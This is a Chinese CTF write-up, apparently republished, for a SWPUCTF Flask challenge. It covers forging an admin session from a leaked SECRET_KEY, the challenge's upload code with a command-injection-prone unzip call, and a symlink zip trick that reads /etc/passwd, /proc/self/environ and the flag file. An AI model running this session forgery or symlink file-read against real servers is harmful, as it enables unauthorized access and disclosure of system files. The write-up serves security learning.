secret_key偽造session來進行越權


從swpuctf里面的一道ctf題目來講解secret_key偽造session來進行越權。

以前沒有遇到過這種題目,這次遇到了之后查了一些資料把它做了出來,記錄一下知識點。

參考資料

 http://northity.com/2018/11/12/HCTF-WEB%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/ 
https://xz.aliyun.com/t/2589
https://www.anquanke.com/post/id/163974
https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/

首先我們進行登錄,這里沒有注冊按鈕,所以我們隨意輸入賬號密碼即可以登錄。

我們使用test/test進行登錄

可以看到有一個upload模塊,進行點擊,返回權限不夠的提示。

可以猜測這里我們是需要管理員的權限才可以進行文件上傳

再查看一下源代碼,里面有一個404 not found的提示

於是我們構造一個不存在的頁面,使其服務器返回404頁面,burpsuite抓包查看

可以看到404界面服務器返回了

swpuctf_csrf_token:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

這里的base64編碼我們進行解密之后得到是:

SECRET_KEY:keyqqqwwweee!@#$%^&*

解密之后我們得到了secret_key的值,這里驗證了我們最開始的結論,正是要偽造管理員的 session 登錄之后擁有upload的權限。

對於官方wp,這個地方的繞過是用的另一種方式

我們繼續使用剛才的思路進行偽造。

關於session偽造的相關博客:

 https://www.leavesongs.com/PENETRATION/client-session-security.html  
 https://www.jianshu.com/p/f92311564ad0 

python腳本地址:

https://github.com/noraj/flask-session-cookie-manager

這里需要提到的是:我們需要知道服務器后端使用的python版本是2或者是3,因為通過這兩個版本進行加密的session解密出來的格式是不一樣的。

這里經過測試我們可知后端的python的版本是3.x的

接着我們將自己加密后的session和screct_key放進python腳本里面跑出解密后的session

我們把id改成1,用戶名改成admin,其余不變進行session加密

最終得到admin加密之后的session:

eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoidGVzdCIsInVzZXJuYW1lIjoiYWRtaW4ifQ.XfERxA.nrEW0S_sf4jtSfnfGmHbFnSv07w

點擊upload使用burpsuite進行抓包,將Session更換成我們偽造的session,權限符合,進入

upload頁面有后端的代碼:

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

一個是檢測來到upload頁面的權限,另外一個是flag所在的位置,即./flag/flag.jpg

所以接下來要做的事情很明確,我們需要將上傳的壓縮包能夠讀取服務器端的文件。

這里使用linux里面的軟鏈接達到這個效果,不過我們需要先填入需要讀取文件的路徑。

我們先使用:

 ln -s /etc/passwd test
zip -y test.zip test

看看能不能讀到東西

看出來我們可以使用這種方式讀取文件,接下來我們可以看一下/proc/self/environ,能讀到uwsgi配置文件

這里跟題目環境不太一樣,不懂開發的我確實找不到路徑,第二種方法就是在linux中,/proc/self/cwd/會指向進程的當前目錄,當我們不知道flask工作目錄的時候,我們就使用/proc/self/cwd/flag/flag.jpg來訪問flag.jpg

(因為代碼里面已經顯示了flag.jpg在當前目錄下的/flag/flag.jpg這個位置)

上傳之后即查詢到了flag的值


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM